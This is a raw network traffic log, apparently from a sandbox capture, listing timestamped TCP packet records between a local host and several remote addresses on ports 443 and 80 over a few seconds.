Sep 1, 2024 02:48:20.316025019 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.316076040 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.316289902 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.316368103 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.316615105 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.316625118 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.316729069 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.316859961 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.316986084 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.316998959 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.317337036 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.317547083 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.317820072 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.317887068 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.318303108 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.318311930 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.318603992 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.318610907 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.360503912 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.371089935 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.371108055 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:20.371170998 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.376899004 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.376908064 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:20.385869026 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.385938883 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.392673969 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.392680883 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.392959118 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.393151045 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.393161058 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.393729925 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.393743992 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:20.393801928 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.393942118 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:20.393954992 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:20.401530981 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.401540995 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.401547909 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.401556015 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.418272972 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.418338060 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.418385029 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.418737888 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.418744087 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.418922901 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.418967962 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.419008970 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.419245958 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.419250965 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.420252085 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.420310020 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.420499086 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.420502901 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.421003103 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.421015024 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.421206951 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.421255112 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.421298027 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.421350002 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.421350956 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.421360970 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.421519995 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.421524048 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.422192097 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.422336102 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.422420979 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.422496080 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.422498941 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.509494066 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.509553909 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.621267080 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.621546030 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.845109940 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:20.845186949 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:20.846112013 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:20.846209049 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:20.846362114 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.846472025 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.847062111 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.847357035 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.851186037 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.851552010 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.851603985 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.851674080 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.852134943 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.852145910 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.852304935 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.852437019 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.852458954 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.853854895 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.853867054 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.856129885 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.876074076 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.876599073 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.876630068 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.876925945 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.877274036 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.877324104 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.877621889 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.894779921 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.894995928 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.895003080 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.895282030 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.895586014 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.895634890 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.895716906 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.924499035 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.937868118 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.937874079 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.013586998 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.013637066 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.013679028 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.013820887 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.013825893 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.020334005 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.020380020 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.020418882 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.020621061 CEST	49774	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.020627975 CEST	443	49774	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.034739971 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.034909010 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.034918070 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.035890102 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.035947084 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.037594080 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.037664890 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.037770987 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.037776947 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.041318893 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.041493893 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.041500092 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.042340994 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.042386055 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.042679071 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.042726040 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.043838978 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.043843985 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.135739088 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.135761023 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.135831118 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.135864019 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.135895967 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.135906935 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.135930061 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.148113012 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.148154020 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.148170948 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.148181915 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.148221016 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.149209976 CEST	49773	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.149215937 CEST	443	49773	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.182348013 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.221806049 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.221817017 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.221832991 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.221838951 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.221875906 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.221887112 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.221900940 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.221926928 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.223427057 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.223434925 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.223459959 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.223479033 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.223484993 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.223491907 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.223522902 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.223537922 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.307601929 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.308059931 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308077097 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.308080912 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308085918 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.308131933 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.308140039 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308167934 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.308186054 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.308418036 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308475971 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.308485985 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308501959 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.308548927 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.308948994 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.309005022 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.309370995 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.309422016 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.309643984 CEST	49775	443	192.168.2.4	13.107.246.73
Sep 1, 2024 02:48:21.309649944 CEST	443	49775	13.107.246.73	192.168.2.4
Sep 1, 2024 02:48:21.341192007 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.341473103 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.341506004 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.342572927 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.342942953 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.343108892 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.355571032 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.355577946 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.492721081 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.492728949 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.607131004 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:21.607198954 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:21.660656929 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:21.665611029 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:21.836503029 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:21.836539984 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:21.836800098 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:21.844306946 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:21.844326019 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:21.912096977 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:21.918713093 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.052786112 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.053386927 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.057951927 CEST	80	49777	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:22.058166981 CEST	49777	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.058234930 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:22.058394909 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.058595896 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:22.063406944 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:22.485102892 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:22.486162901 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:22.770040035 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:22.770061970 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:22.770330906 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:22.873034954 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:22.920507908 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.009675980 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.009743929 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.010422945 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.014127970 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.014158010 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.014215946 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.014297009 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.014327049 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.014743090 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.015183926 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.015681028 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.015698910 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.016235113 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.016247988 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.114411116 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.114424944 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.114507914 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.114639044 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.114651918 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.188514948 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.188667059 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.188683987 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.188694954 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.188695908 CEST	49785	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.188711882 CEST	443	49785	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.220942020 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.220977068 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.221029997 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.221291065 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.221306086 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.260334015 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.260384083 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.372087002 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.372406006 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.378087997 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.378149033 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.378277063 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.378716946 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.378890038 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:23.383675098 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:23.496649981 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.497937918 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.497966051 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.498294115 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.498357058 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.498884916 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.498950958 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.500319004 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.500384092 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.500453949 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.500566006 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.500590086 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.500902891 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.500956059 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.501068115 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.501086950 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.501513004 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.501565933 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.501718044 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.501769066 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.502032995 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.502039909 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.577159882 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.577362061 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.577383995 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.578421116 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.578497887 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.579309940 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.579381943 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.579493046 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.579507113 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.589349031 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.611799955 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.611922026 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.612023115 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.612340927 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.612340927 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.612370014 CEST	443	49787	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.612430096 CEST	49787	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.612463951 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.617943048 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.618244886 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.618288994 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.618448973 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.618458986 CEST	443	49788	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.618479013 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.618493080 CEST	49788	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.674998045 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675035000 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675054073 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.675079107 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675117016 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675137997 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.675169945 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675219059 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.675276041 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675317049 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675802946 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.675823927 CEST	443	49789	142.251.40.196	192.168.2.4
Sep 1, 2024 02:48:23.675851107 CEST	49789	443	192.168.2.4	142.251.40.196
Sep 1, 2024 02:48:23.862742901 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.862807989 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.864279032 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.864289045 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.864492893 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.867578030 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:23.908507109 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:23.917538881 CEST	49792	443	192.168.2.4	142.250.80.110
